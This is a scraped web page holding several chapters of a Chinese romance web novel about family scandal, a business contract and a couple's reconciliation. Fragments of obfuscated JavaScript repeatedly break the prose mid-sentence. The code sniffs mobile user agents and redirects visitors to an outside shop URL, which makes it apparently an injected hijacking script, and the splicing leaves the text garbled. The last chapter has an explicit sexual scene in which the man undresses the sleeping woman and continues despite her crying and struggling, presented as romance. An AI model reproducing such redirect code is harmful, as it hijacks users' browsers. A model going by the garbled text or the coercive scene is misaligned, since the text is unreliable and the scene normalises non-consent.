0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293840|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑发昏,现在这会已经清醒了大半,自然接收到了他的信息,一双眼睛有意无意的往姜梨身上瞟。 江淮之的视线和叶止的对上,他的眉梢轻轻挑了一下。 啧,狐狸的帮手还真不少,连叶止这样的人物都被她给搬出来了。 叶止来的快去的也快,人抓到了他也不再逗留,带着人就走。 宴会到这肯定就强行结束了。 陆家人被带走,司家人这边也是乱七八糟。 年过半旬的老人,和自己的准孙媳妇勾搭在一起,这样的丑闻都不用等明天,估计不出一个小时就会在北城和樱洲传个遍。 江淮之在场,其他人也不敢当面议论,说了几句客套话后一个接一个的离场。 姜梨见人都要走光了,也有些兴致缺缺,找到叶辞,打算一起走人。 “姜二小姐请等一下。”司老爷子被人搀扶着站起来,中气十足的叫住了她,“你还不能走。 ” 这话一出,还在场的沈家三人和楚卿然以及谢鹤扬都看向了姜梨。 姜梨一愣,然后在心里想,这死老头子的心理素质这么强吗? 实打实的视频证据都甩出来给所有人观看了一遍,他非但没觉得丢脸赶紧离场,反而还这么理直气壮的不让她走。 姜梨转身,对着他投去了一个极其疑惑的眼神,“我为什么不能走?” “我刚刚已经安排人去采集录像室里的指纹了,还有宴会厅的监控,等结果出来,比对过后没有问题你才能走。” 宴会厅的电路被切断,那一段时间的监控录像都不会存在。而且多出来的音频已经确认是陆临干的,他是在姜梨走了之后才进去的,痕迹他自然会清理。 怎么样都不会查到她身上,但是……… “我凭什么要留下来陪你们浪费时间?”姜梨扬了扬下巴,“我要是被人曝出来这种事,别说是去查爆料的人了,我连活下去的想法都不会再有。” “没想到司老爷都已经这把岁数了,脸皮还那么厚。” 臭不要脸的老东西!赶紧去死! 第52章 他要带舒羽回秋水湾 静,死一般的静。 姜梨这是在暗讽司老爷子赶紧去死。 沈叙和沈翊对视了一眼,都在对方眼里看到了难以置信。姜梨是不是受什么刺激了?当着司家人所有的面,敢如此的胆大包天。 安静里,楚卿然主动离场。紧接着楚云也毫不犹豫的离开,生怕会因为姜梨惹上一身骚。 沈叙和沈翊也不敢多停留,连招呼都没打。 司家的好戏,谁敢看? 谢鹤扬离场时,意味深长的看了一眼姜梨,“姜梨,我会在外面等你。司家和谢家合作的合同我大哥说了要我亲手交给你,我的耐心一向不太好,别让我等太久。” 司家和谢家合作的合同………为什么要给姜梨?! 所有人都怔住了,满脸震惊的去看姜梨,她什么时候和港城谢家攀上关系了? 司南衍看着姜梨,开始上下打量她,眼底划过一丝暗光。 姜梨自己都不知道是什么情况,谢鹤扬应该是为了帮她一把,故意这么说想让司家放过她的吧? 司老爷不确定的去看江淮之,试图在他脸上看出一点谢鹤扬是在故意胡说八道的证据,然而……… 江淮之的表情没有变化,语气淡淡,“这的确是谢鹤枭跟我签下这份合同时提的唯一要求,这是他送给姜梨的礼物,让司家善待我这个妹妹。” 谢鹤枭是什么人?在港城可谓是叱咤风云,名号不管是在北城还是在樱洲,那都是极其响亮的。 性格阴戾,跟樱洲和北城圈子里的人来往甚少,在内地,江淮之是唯一跟他谈成合作的人。 但是,是因为姜梨的原因。 司老爷子心里憋的那口气一时间上不去,也下不去,一时间不知道该作何反应。 不为别的,而是因为姜梨很可能跟南诗奕的关系匪浅,并且她很有可能知道司南赫和南诗奕这件丑事的真相—— 并非如外界传的那样,南诗奕不知廉耻勾引弟弟,事实其实是司南赫对她强取豪夺。 如果姜梨真的知道,她要是再抖出来,司家会陷入何等的处境?这样一个对司家有巨大威胁的人,是绝对不能留的! 就算是有谢家撑腰又怎么样?还能为了这么个丫头,从港城跑过来跟司家鱼死网破不成? 想清楚的司老爷这才把一直憋着的一口气给吐了出来,“你有谢家撑腰就可以如此放肆吗?” 姜梨气极反笑。 放肆?他一个做出这种龌龊事的人,居然还能说出这种话? 姜梨表情淡淡,破罐子破摔,“你要是非要在我身上泼脏水,不让我和叶辞走,我还会更加放肆。” 傅家是司家的联姻对象,此时此刻也还没有走,傅砚对着傅绾使了一个眼色,现在正是她表现的好机会。 “姜梨妹妹,今天事出蹊跷。”傅绾三两步走到司老爷子身边,本想帮他拍背顺气,但是一想到刚刚的那段视频内容,眼里闪过不易察觉的厌恶,将手放了下去。然后抬起眼皮,看着姜梨,“断电的时候,只有录像室的供电是正常的,我当时看到了一个人鬼鬼祟祟的在录像室,我刚想去追,就有两个声音大喊了起来,其中一道声音———” 她的声音停顿了一下,然后看向了叶辞,“是叶二少。我想你突然喊这么大声,应该是在帮忙打掩护。除了姜梨,我实在是想不到还有谁能让叶二少当同伙。” 这一句话就给两个人都扣了帽子。 姜梨是主谋,叶辞是同伙。 叶辞抬眸看向她,似笑非笑,“只允许你发现录像室有人,不允许我发现?” “你是有什么控制欲很强的疾病吗?” 傅绾哽了一下,“我上去的时候正好看见那个人逃走的背影,身形很像姜梨。” 得,这个是真的在泼脏水了。 姜梨早在傅绾上来之前就被司南泽拉进房间里了,而且在她进了房间以后,陆临比她还要早到,傅绾不敢说陆临,就一顿胡诌拉她来挡枪,想要在这个老不死的面前刷好感。 她就这么想嫁进司家?这个吃人不吐骨头的地方。 姜梨不说话了。 她的沉默落在老头子眼里就是心虚,有鬼,被抓住了小辫子,找不到借口了。 “来人!给我把她抓回去!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293841|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这时谢铭从角落里走了出来,挡在了叶辞和姜梨的前面。 正要去抓姜梨的两个黑衣保镖见状,也不敢再上前。 谢铭是江淮之的人,做什么事说什么话都是江淮之的意思,现在的情况也很明了,江淮之在袒护姜梨。 “姜二小姐,您配合提取一下指纹就可以离开了。”谢铭面对着她,朝她微微颔首,然后又将声音压的极低,“大少爷已经让我清理掉了您在录像室里留下的所有指纹,您不用担心。” 姜梨听到谢铭说的这句话,心口重重的跳了一下。 她本来也只是想恶心一下这群狗东西,江淮之这个时候让谢铭出来,也是在提醒她差不多就可以了,过了头就不好了。 姜梨很配合的让谢铭提走了自己的指纹,然后拿去和录像室里提出来的指纹做比对。 监控录像只有停电之前的,姜梨一直都待在 宴会厅,没有任何不妥。 “指纹比对结果出来了!录像室里提取到的所有指纹跟姜梨都不匹配,她没有进过录像室,更没有动过里面的任何东西。” 众人再次安静了下来。 江淮之微微偏头对一直站在他身边的舒羽说了些什么,然后喊了一声谢铭,对他吩咐:“送舒羽回秋水湾。” ? 姜梨眉头不着痕迹的皱了一下,什么意思? 他前面一会还在让她晚上回秋水湾,说要解释这段时间发生的事情。还说什么很想她,结果现在江淮之让谢铭送舒羽去秋水湾?! 老变态现在是要走新赛道了吗?他喜欢让自己的“妻子”和绯闻女友共处一室?这样会很刺激是吗? 还是说他这是特意说给她听的,他现在改变主意了,想带舒羽回去,让她先不要回去。 姜梨抿了抿嘴唇,突然间就有些累了,“我和叶辞现在可以走了吗?” 江淮之,“可以。” 得到肯定回答的姜梨,丝毫都不犹豫,抓着叶辞的胳膊就往外走。 这样的腌臢地,她是一秒钟都不想再多待。 看见那个死老头和司南赫那张脸她就想吐。 第53章 他会怎么解释 谢鹤扬当真是一直都在等着姜梨。 他的身体懒散的靠在车边,嘴里咬了一根烟,没了平时不正经的样子,还是挺帅的。 姜梨,“你怎么还没走?” “当然系度等紧你呀。”谢鹤扬把烟夹在指尖,吐出来一口烟雾,看了一眼叶辞,淡淡的说了一句:“合同被我放在酒店了。” 啊?他刚刚说的话不是乱编的?是来真的? 姜梨想也没想的就拒绝了,“我不要,你自己拿去给江淮之。” 她和谢家这两兄弟能相识那完全就是一个意外,不过是随手救下了一个女孩子,刚好那姑娘是谢鹤枭的未婚妻,这才有了交集。 姜梨跟谢鹤扬还算是有情义,她确实给他挡过子弹救了他的一条命。如果说今天这份合同是谢鹤扬跟江淮之签,她肯定直截了当的就跟着他去拿了。 但是这是谢鹤枭和江淮之签的,做决定的也是谢鹤枭。 姜梨永远都记得第一次见面,哪怕是她救了他的未婚妻,谢鹤枭都拿枪抵着她的脑袋说要一枪崩了她,吓得她做了好长一段时间的噩梦。 要谁的东西她都不敢要谢鹤枭的东西。 这个男人太可怕了! “你不去拿的话,合作就会取消。”谢鹤扬掐灭烟头,低低的笑了一声,“不如你问问你身边的叶二少,跟谢家的合作一旦取消,江淮之会有多大的损失?” 叶辞,“谢先生不要吓唬她,江大少再堕落也还没到这种地步。” 谢鹤扬眉稍微扬,“系咩?我听晚返港,今晚你唔攞,听日我冇时间见你。”(我明晚回港,今晚你不拿,明天我没有时间见你) 姜梨不是什么都不懂,听谢鹤扬这个语气,谢家是无所谓的,合不合作都可以。但是对江淮之来说,应该是很重要。 “叶辞,你先回去吧。”姜梨吸了一口气,“我跟谢先生去拿合同。” “他能信?” 谢鹤扬听到叶辞问出这句话,被逗乐了。就算他真的是个歹徒,也动不了姜梨的一根汗毛。 这小姑娘看着细胳膊细腿,总是一副弱不禁风可怜兮兮的样子,哪里会有人想到她是个拿起棍子和酒瓶,毫不犹豫就给人开瓢的主? 会打架,会耍刀,还会玩枪,谁能欺负得了她啊? 呵,看叶辞这个反应,姜梨装小白兔装的还挺成功啊。 姜梨不知道谢鹤扬的内心戏,她的余光看了一眼谢鹤扬,然后对叶辞重重的点点头。谢鹤扬的人品,姑且还是有点可信度的。 姜梨坐上了谢鹤扬的车。 十一月里的樱洲气温也已经到达了个位数,姜梨先报了一串地址,她换下来的衣服还在阮经颜的那个私人画室。 这身礼服不保暖,而且不方便,穿了许久的高跟鞋,后脚跟有些疼不说,脚踝也被磨破了。 司机看了一眼谢鹤扬,谢鹤扬闭上眼,“听她的。” 姜梨的动作很快,把礼服和脱下来的鞋都暂时放在了画室。然后关灯,锁门。 再次回到了车上。 姜梨贴着车门,一路上谁都没有说话。 “那个,你大哥为什么要说这个合同是送给我的?”快到酒店时,姜梨还是问了谢鹤扬这个问题,“明明他一开始是想杀了我的………” 谢鹤扬连眼都没睁,“那你死了吗?” 她要是那个时候死了,谢鹤扬也早死了。 谢鹤扬见她不说话,悠悠睁眼,“谁叫你一好好的姑娘要扮男装的?夺妻之仇,不共戴天,他想杀你不是很正常的事情吗?” 姜梨听到“夺妻”这两个字,眼底快速闪过一丝不易察觉的讥讽和冷意。 她当时才十七岁,还是一个没发育好的小“男”孩,神他妈夺妻之仇,他又没有多爱纪繁星,骗鬼呢? 姜梨掩去眼底的情绪,“所以这份合同是他给我的赔礼?” 谢鹤扬“嗯”了一声。 说话间,车子也停在了酒店门口,姜梨和谢赫扬一同下了车。 姜梨在门口站着没有动,谢鹤扬也知道她这样直接跟着他上去的话,是不合适的,只对她说了一句:“你可以进来酒店的大厅等,外面会冷,我很快就会下来,不会给别人误会的机会。” 月亮被厚厚的云层遮住,抬头只能看到无尽的一张黑布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293842|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一点星星都没有。 风一吹的确有些冷,想了想,跟着一起走了进去。 姜梨坐到大厅上的沙发上,低头看了一眼自己脚踝上的伤势。被磨掉的一层皮,有些刺刺的痛感。 “姜二小姐?你怎么也在这里?” 姜梨的身体一僵,抬起头就看到了已经换下礼服的舒羽。 她不是去秋水湾了吗?怎么会在这里!? “舒小姐。”姜梨礼貌的喊了她一声,然后开口解释:“我是来拿合同的,在这里等谢先生。” 舒羽刚刚在宴会厅的时候也以为谢鹤扬是在胡说,没想到居然是真的。谢鹤枭居然真的是因为姜梨这层原因,才肯跟司家合作。 不过,这不是她应该管的事情。江淮之从港城的拍卖会上以天价把舒翎赎了回来,她不能再惹江淮之不高兴。 舒羽想了想, 对姜梨笑了笑,“谢铭现在应该还没有走,你拿到合同以后可以让他送你回学校。现在很晚了,你一个小姑娘会不安全。” 姜梨怔了一下,没有想到舒羽还会来特意来提醒她这个,是因为她现在是江淮之的妹妹吗? “我知道了,谢谢舒小姐。” 舒羽进了电梯,然后掏出手机给谢铭发了一条微信,“姜二小姐来和谢先生拿合同了,你要不要等一等,然后送送她?” 姜梨一看就是那种不会麻烦别人的,就算是她说了谢铭在,她也不会真的去找他。只能她来说一声了,谢铭肯定会等她。 “合同,拿好了。”谢鹤扬下来的确实很快,将手里的文件递给了姜梨,“你应该要回学校吧?我送你。” 姜梨捏着那份合同,抿唇摇了摇头,“不用了,我自己回去就行,被同学看到会传出不好的事情。” 舒羽没有去秋水湾,很明显就是江淮之故意说给司家人听的。 姜梨也没有能跟江淮之闹脾气的想法和理由,所以她今晚会听他的,回秋水湾等他。 她并不喜欢因为一些乱七八糟的事情去跟江淮之吵莫名其妙的架,也很想听江淮之会怎么跟她解释。 姜梨也有重要的事情要问他。 第54章 不准再回北城和樱洲 姜梨拒绝,谢鹤扬也没有坚持。 因为,他已经看到了等在外面的谢铭。 现在的大学生,造谣起来也是怪能闹腾的。谢铭送姜梨回去,确实比他送要合适的多。 姜梨拿着合同,转身就往外走,被谢鹤扬拽住了胳膊。 谢鹤扬单手解锁手机,翻出微信的二维码举到她面前,“扫,加上了再走。” 他不说姜梨还真没想起来,她之前因为不想和他们有牵扯,所以并没有给谢家两兄弟联系方式。 谢鹤扬自己想想都觉得好笑,认识两年多,有过生死之交,结果连微信号都没有。 他这是全靠意念,惦记了一个女人两年。 丢人。 姜梨扫了码,给他打上了备注,“现在可以了吧?” 谢鹤扬心情顺畅了,松开手,“走吧走吧,明天见。” 明天见?他明天不是要回港城吗? 姜梨抬眼,眼神凉嗖嗖的。 “别这么看我,我要是不这么说一嘴,你今晚肯定跟叶辞跑了。”谢鹤扬说得理直气壮,“而且我这不是在帮你?合同在手,司家那个恶心的老头子才不敢为难你。” “呵,我谢谢你啊!” 谢鹤扬笑,“太客气。” 姜梨没什么杀伤力的瞪了他一眼,转身离开。 谢铭收到舒羽的信息,反手截图发给了江淮之,然后一直等在路边,看姜梨出来,一言不发的拉开了车门。 姜梨看了他一眼,快速的上了车。 “那个,谢秘书。”姜梨看着车窗外的各色霓虹灯,眼神闪了闪,“江淮之他会怎么处理今天的事情?对司氏的影响会很大吗?” 如果是换成司家的其他人,江淮之会直接把人驱逐出司家。但是这个人是司老爷,身份上就很敏感,怎么说也是曾经掌管过司家的老家主,谢铭真的不知道江淮之要怎么处理。 “这件事对司氏的影响会很大,但是对大少爷没影响。”谢铭最后只回答了姜梨的第二个问题,还不忘补一句:“您不用太担心。” 那就好。 姜梨这时想到什么,不动声色的摸出手机,登上了另外一个微信号。 潜入宴会厅,避开摄像头去帮她断电破坏监控,这件事跟林遥的事件没关系,姜梨得道谢。 信息发出去不到一分钟,那边就回复了。 “今天的事情跟我没关系,你要谢的人不是我,是江淮之。” 姜梨捏着手机的手一下子僵住了,江淮之? 他从一开始,就知道她要做这件对司家极其不利的事情了吗? 被他捡到的那个遗落的耳坠,被他抹除掉的指纹,被他破坏的监控。 江淮之真的做了姜梨手中的刀。 她的睫毛微微颤动,嘴唇不自觉的抿紧,心口开始剧烈的跳动起来,一下又一下,像是要冲破胸腔。 姜梨回了一句知道了,然后清理掉了所有痕迹,身体后仰,靠在了椅背上。 —— 宴会厅。 姜梨他们走了以后,江淮之眼皮一挑,去看傅砚和傅绾,那个眼神好似在说:你们还杵在这做什么? 傅砚和傅绾对视了一眼,知道江淮之这是要处理家事了,他们再待下去不合适。 识趣的离场。 空气陷入了一阵诡异的沉默。 司承德率先打破了这份安静,“秋水湾是你在樱洲的住处吧,你当着傅家的面让谢铭送她去秋水湾,你让傅绾怎么想?你这是在逼傅家主动退婚吗?” “我只喜欢听话的女人。”江淮之神色不变,“一个总爱跳出来搬弄是非的女人,我没处理她已经是看在联姻的面子上了,她爱怎么想就怎么想,跟我有什么关系?” “你!” 苏菱强忍着心里的恶心,问了这么一句话:“爸,你和陆诗予,是真的?” 一时间所有人的眼睛都盯在了老爷子身上。 他的胸膛不断起伏,没有说话,那就是默认了。 连司南衍的表情都变得有些难以言喻起来,不敢信老爷子居然真能干出这种龌龊事。 江淮之漠然开口:“爷爷从明天开始,不必再待在樱洲的老宅了,我会派人送你去云城的山区,陪那些山里的孩子和支教老师待在一起,养养脾性。” “没有我的允许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293843|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不准回北城和樱洲半步。” 众人惊了一下,面面相觑。 云城山区,物质和生活条件都极其艰苦,一个年过半旬的老人去这么一遭,估计得脱层皮。 司承德想开口求情,冷不丁被苏菱悄悄的拽了一下衣袖,示意他闭嘴。 这已经是最好的处理方式了,既可以博一个司家家风严谨的名声,稳住外界对司家的看法,也已经足够给司老爷面子了。 “淮之。” 司承德刚说出两个音节,就被江淮之打断,“那不如父亲和爷爷一起去?” “………” 司承德闭上了嘴。 今天一整晚都极其沉默的司南赫这时沉声道:“我想去江城待一段时间,大哥给我批假吧,新年的时候我再回来,然后再回公司。” 他的声音里少见的带了点颓 然,想想也是,其他人也就算了,未婚妻和自己爷爷搞在一起了,不知道得恶心多久。 江淮之没有理由拒绝他。 司老爷子的一张脸已经黑的像锅底了,活了七十年,居然栽在了这样的事情上! 视频里的画面背景是在司家,房间也是他的房间,时间已经是好几年前。留下视频的人一定是司家人! 司老爷子的眼底闪过一丝光,眼神定在了苏菱的身上,“苏菱,今天的事情,跟你没有关系吧?” 苏菱有多疼爱南诗奕所有人都知道,除了她,司老爷想不到还有谁会去做这种事情。 “?”苏菱都要被他的反应给气笑了,这会也没有了平常的尊敬,“我要是早知道你和陆诗予能干出这么恶心的事,早在诗奕被你们逼死的时候就说出来了,还用拖到现在?” 那个叫姜梨的姑娘刚刚说的一点都没错,这个老头子的脸皮真是比城墙还厚,老不死的! 司承德揽住苏菱的肩膀,看着司老爷的眼神也有些不满,“爸,你少说两句吧!” 江淮之的手机震了一下,他摸出来看了一眼后彻底没有了耐心,直接撂下一句:“爷爷,明天早上就会有人来接你。” 然后头也不回的往宴会厅外走。 回家,哄人。 第55章 将离,姜梨 江淮之回到秋水湾,客厅里静悄悄的,姜梨的房间亮着灯,暖黄色的灯光透过门缝洒了出来。 季妍已经被他提前遣去了楼下的佣人层。 一边松领带,一边往姜梨的房间走。 姜梨躺在床上,双眼紧闭,小野趴在她的枕边,一人一猫倒是祥和。 脱下来的外套被他随手扔在了一边,床头柜上放着那份他已经签过字的合同。他摸出手机,压在了合同上,眸色沉沉的看她。 也不知道是做噩梦还是睡得不舒服,姜梨的眉心一直皱着,睡得并不安稳,但是却很沉。 以前一点点动静她都会醒过来。 江淮之没有第一时间叫醒她,去浴室冲澡,然后进了自己房间,拉开床头柜的抽屉拿了什么,这才重新回到姜梨那里。 他把猫抱了出去,然后锁门,掀开盖在她身上的被子。手指一粒一粒解开睡衣的扣子,然后不由分说的扣住她的肩膀翻了个面,从后面扯住睡裤,利落的脱了下来。 姜梨就是因为这个动作惊醒的。 她猛地睁开眼睛,还没反应过来什么情况,只觉得身上一凉,她的衣服就这么被扒掉了。 姜梨很白,是少见的冷白皮。 没有了衣物遮挡,整个背部一览无余。画上去的纹身已经洗掉了,背上布满了疤痕,是一幅被岁月和痛苦雕刻的画卷。 后肩处那个十字形的疤痕落在江淮之眼里,格外的刺眼。 平时磕碰一下都要喊痛,因为怕痛纹身都不敢去的人,是为了什么才敢去帮别人挡子弹的? 一个叶辞,现在又来一个谢鹤扬。 真是好风流的妹妹啊。 江淮之的眼神渐黯,深沉的眸子蕴着潮涌,黑沉沉的。 姜梨想翻身,肩膀被他牢牢的压着,是一条被按在砧板上,任人宰割的鱼。 “你干什么!啊………”质问的话突然变了个调,是不自觉发出来的一声轻哼。 湿润温热的触感落在了肩膀,酥麻感瞬间传遍全身。身体不停的颤栗,肩膀忍不住内扣。 很烫,很痒。 姜梨的双眸瞪大,本来昏沉迷糊的大脑瞬间清醒过来,江淮之在亲她肩膀上的那道疤。 “痛痛痛!江淮之!你有毛病啊!” 后肩剧烈的痛感让急剧上升的温度降了下来,姜梨的眼泪直逼眼眶,不受控制的往下掉。 痛死了!他属狗的吗? “你现在哭还太早。” 姜梨还没弄懂他这句话是什么意思,身体就又被他翻了个面,江淮之欺身压上去。 纯黑色的睡袍已经散开,一抬眼就看到坚硬的胸肌,眼神往下,是块块分明的腹肌,荷尔蒙气息浓烈。 江淮之俯身亲在那张肖想了许久的唇瓣上,撬开她的牙关。跟之前的浅尝辄止不一样,他这一次亲的又凶又狠,恨不得要把她吞进去。 “今天的事情跟我没关系,你该谢的人是江淮之。” 姜梨的身体发软,心也因为这句话软的稀巴烂。要挣扎的动作停了下来,两条胳膊搂住他的脖颈,闭上眼睛,生涩的回应。 她的顺从让江淮之的心狠狠一动,力道轻柔了不少。 直到姜梨感觉快要窒息的时候,江淮之才松开她,分开的时候拉出了银丝。 “我去港城,是去偷偷见韩斯年的,绯闻是我故意搞出来当烟雾弹的。 韩斯年,韩斯年……… 这个人是港城韩家的,江淮之去找他,为什么要偷偷?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293844|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “救舒羽的妹妹,换她心甘情愿继续当那个保你的工具人。没有情,只有利。” “只爱你一个。” 江淮之凑到她耳边,一边说,一边亲她,一路向下留出痕迹,手掌覆盖在一片雪地上。 他在摸哪里! 姜梨根本受不了他说的这个话和这种动作,身体越来越软,闭着的眼睛半睁开,伸出手去阻止他作乱的手掌,声线都在抖,“这样好奇怪……我不要!” “哪里奇怪?不舒服吗?” 不知道,不知道! 江淮之的手腕被她捏住,他配合的停下了刚刚的动作,“你跟谢鹤扬,怎么回事?你说的那个喜欢的人,是叶辞还是谢鹤扬?还是说,风流的妹妹其实两个都想要?” ?他在说什么混账话? “我跟谢鹤扬不熟,你放开我!” 江淮之笑了一声,“不熟你给他挡子弹?不熟他会来跟我说想要娶你?” 姜梨现在想弄死谢鹤扬的心都有了,她吸了一口气,开始解释:“我救了谢鹤枭的未婚妻,然后就认识了,后来去找她的时候碰巧遇到了谢鹤扬,不知道他为什么会得罪贩毒团伙,很多人追杀他,我是被连累的。” “我当时要是不给他挡那颗子弹,他就被爆头了,歹徒那么多,一个个都有拿枪。我要是不救下他,靠我一个人,还能活吗?” “重伤还是死掉,你说我能选哪个?不是你教我的吗,活命才最重要,我是听了你的话。” 姜梨乘胜追击,“那我倒是想问问你,你那个时候在哪里?在做什么?不管是在港城的那两年,还是回樱洲的那一年,你一次都没有来找过我, 一次都没有。” 这章没有结束,请点击下一页继续阅读! 第56章 调查方向是错的 姜梨想得清楚,也能接受。 但是情绪不受控制,建立起来的高墙开始坍塌,成了一片荒芜的废墟。 心里都是难以言说的委屈和不甘。 “姜祈安怪我,你也怪我,你们两个到底有什么资格来怪我?他把我送到港城,扔在楚家不闻不问,快没命了才终于舍得来看一眼,然后就是一顿乱骂,骂完就走。” “你就更离谱了,你都没有想过我,三年多连一通电话和一条信息都没有发过。你那个时候,满心满眼想的都是别人,是别人!” 一想到这个,姜梨全身的骨头都在痛,她中枪的时候,都没有这么痛。 “我都已经不要脸不要皮的黏在你身上了,都已经那样了,你都没动一点恻隐之心,还反过来教训我。” “我到底是有多不好?” 这几段话轻飘飘的砸下来,江淮之只觉得全身的血管都被扎了银针,不断的顺着血液流动,最后扎在心口,痛的呼吸都难。 他还没缓过来,就听到姜梨又一连串的问了好几个问题。 “是因为那个阿愿太好了吗?她长得比我好看吗?还是性格比我好?又……又或者是因为她身材比我好?” 见江淮之不说话,姜梨只当他是默认了,不说话就是答案。 那这个答案,还真是太残忍。 姜梨被眼泪洗过的眸子直直的看着江淮之的眼睛,她鼻子发酸,抽搭了一下,然后一字一句道:“我后悔了,我不要你帮我复仇了,我要跟你离婚。” “你说什么?” “我说我后悔了,我现在就要跟你离婚。” 第一次是因为他不让她扯出林遥和姜祈安的事情,她跟他闹脾气提的离婚。 这一次比那次要认真太多了,姜梨这次,是真的伤心难过了。 以为他不喜欢她,以为他心里想的是别人。 他哪里有别人?他这十几年明明就只想她一个。既然嘴巴没办法解释清楚,那就换另一种,更直接的方式。 江淮之反手捏住她的手腕,引导她朝某个地方摸。 “都已经这样了,你说我对你没感觉?还说我在想别人,我上哪想别人?嗯?” 姜梨本来就在哭,被他这么一弄,哭的更厉害,然后像触电一样把手抽了出来,撇开头闭上眼睛不看他,耳尖烧的通红。 “你跟洛骞去国外那两个月我都有偷偷去看过你,被姜祈安打一顿换来陪你三天。我给你递水给你引路,就差没抱着你睡觉了。我要是知道你被姜祈安藏在了港城,我会不去吗?” “还有你回樱洲的这一年,你明天可以去问问阮经颜,问问她我有没有去看过你,问问她是谁把你这个醉鬼抱回去的。”江淮之看着她红透的耳尖,凑上去轻轻的咬了一下,“宝贝儿,我明明就只爱你,不信的话就把我的心挖出来,你自己好好看个清楚。” 等……..等一下! 江淮之他在说什么? 还没等她想清楚,姜梨听到了“嘶啦”一声,类似于包装袋被撕开的声音。 与此同时她的一条腿被江淮之抬了起来,然后姜梨猛然睁开眼睛,突如其来的强烈不适感让她哭喊出声,身体开始挣扎。 “乖一点,不要乱动。”江淮之掐住她的腰,声音喑哑低沉,“不然,你真的会很痛。” 姜梨简直就是要被他逼疯。 身体像是漂浮在海面上的一只船,起起伏伏,摇晃不定。 混蛋,变态,渣男,烂仔………一开始她还能不断的用这几个词翻来覆去的骂他。 但是到最后,就只剩下哭还有极其见不得人的轻哼。姜梨的手背抵在唇上,试图用这种方法抑制住声音。 “还要跟我离婚吗?” 姜梨从最开始的嘴硬说“一定要”,到最后努力的摇头,一遍一遍回答:“不离了。” 江淮之擦掉她落下来的眼泪,不断的诱哄她:“乖,说你爱我。” 姜梨的大脑这个时候就算再不能思考,她也知道,现在一定不能嘴硬,于是乖顺的连着说了好几遍爱他。 她被江淮之翻来覆去弄了两次,最后只觉得腰不是她的腰,腿也不是她的腿,全身的骨头都像是被碾了一遍的痛。 眼睛在哭,别的地方也好不到哪里去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293845|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今天是她活了二十多年掉眼泪掉的最凶的一次。 因为江淮之就是个人面兽心的变态,畜生。 姜梨失神之际,江淮之又将她翻了个面,她还以为他又要来,忍不住去推他,嘶哑的声音带着浓厚的哭腔,“我明天还要上课,我好累,我要休息。” 江淮之没吭声,抱她去清洗。 姜梨最后的感觉是热水淋在身上,意识彻底抽离了出去。 江淮之把她带到了自己的房间,给她套上睡袍塞进了被窝里。眼皮很红,一副被欺负惨了的样子,越看越可怜。 站起来,去收拾狼藉。 床单上有几点血迹,江淮之顿了顿。 第一次就这么弄她,怪不得姜梨刚刚一直在骂他是畜生,是有点失控了。 快速的换掉床单和被套,清理掉地上乱七八糟,不堪入目的痕迹,打开窗户,通风。 目 光瞥到到了床头柜上放着的两部手机。 想到在宴会厅里躲在暗处的那个身影,江淮之眼神暗了暗,一直在帮她做这些事情的那个男人,他大概能猜到是谁。 但是姜梨给的反应,却又不太像是他。 